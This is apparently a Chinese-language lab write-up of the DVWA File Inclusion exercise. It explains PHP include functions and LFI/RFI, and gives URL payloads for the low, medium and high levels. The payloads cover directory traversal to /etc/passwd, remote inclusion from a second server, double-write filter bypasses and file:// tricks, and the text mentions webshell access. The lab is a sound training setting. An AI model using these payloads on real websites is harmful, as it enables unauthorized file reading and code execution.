DVWA-File Inclusion
Vulnerability: File Inclusion
相关函数
include()函数:会将指定的文件读入并且执行里面的程序;
require()函数:会将文件的内容读入,并且把自己本身替换成这些读入的内容;
include_once()函数:和 include 语句完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次
require_once()函数:和 require 语句完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次
文件包含功能
文件包含功能使用include函数将web根目录以外的目录文件包含进来,文件包含功能给开发人员带来了便利。通过把常用的功能归类成文件,文件包含可以提高代码重用率。
文件包含漏洞是高危漏洞,往往会导致任意文件读取和任意命令执行,造成严重的安全后果。
文件包含往往要使用到目录遍历工具
相关知识
1.文件包含分类:
目录遍历(Directory traversal)和文件包含(File include)的一些区别:
目录遍历是:可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。
文件包含是:通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含
LFI:本地文件包含(Local File Inclusion)
RFI:远程文件包含(Remote File Inclusion)
2.php.ini配置
allow_url_fopen = on (默认开启)
allow_url_include = on (默认关闭)
远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。
文件包含漏洞的一般特征
1 | ?page=a.PHP |
文件包含的测试
- 通过多个…/让目录返回上一级,然后再进入目标目录
1 | ?file=../../../../../etc/passwdd |
- 编码字符绕过过滤
1 | 1. 可以使用多种编码方式进行绕过 |
3.向量词典
1 | 用于目录爆破猜测,在Kali的/usr/share/wfuzz/wordlist/vulns中保存有,如: |
- 服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以 文件包含漏洞常常会导致任意文件读取与任意命令执行。
low
构造相对路径URL:
1 | ?page=../../../phpinfo.php |
也可以通过构造绝对路径URL访问:
1 | ?page=D:\phpStudy\PHPTutorial\WWW\phpinfo.php |
构造访问远程文件的URL(其中192.168.15.241为另一台服务器),这里还可以通过远程执行文件后,用菜刀进行连接
1 | ?page=http://192.168.15.241/phpinfo.php |
Medium
- 包含出错,尝试使用各种相对路径“…/”、”./“等访问均报错,实际上,该级别漏洞使用str_replace()函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符。
one:本地包含:尝试用绝对路径,避免先对路径符号被过滤
1 | 构造URL:?page=D:\phpStudy\PHPTutorial\WWW\phpinfo.php |
two:远程包含:既然过滤了http://和https://,尝试使用双写的方式
1 | 构造URL:?page=hthttp://tp://192.168.15.241/phpinfo.php |
three:本地包含,相对路径技巧,既然过滤了“…/”,那就双写“…/”
1 | 构造URL:?page=.....//....//....//phpinfo.php |
High
one:本地包含:相对路径
1 | 构造URL:?page=file:/../../../phpinfo.php |
two:本地包含:绝对路径
1 | 构造URL:?page=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.php |
three:远程包含:远程包含必须使用http://协议或者https://协议,而高级模式使用白名单过滤仅允许file协议通过,而file协议针对本地文件有效,所以目前来看,是无法进行远程攻击的,不过别急,道高一尺、魔高一丈,我们结合后续的文件上传仍然可以实现远程攻击。
Impossible
- impossible级别设置严格的白名单过滤,仅允许include.php通过,基本上可以杜绝文件包含的漏洞。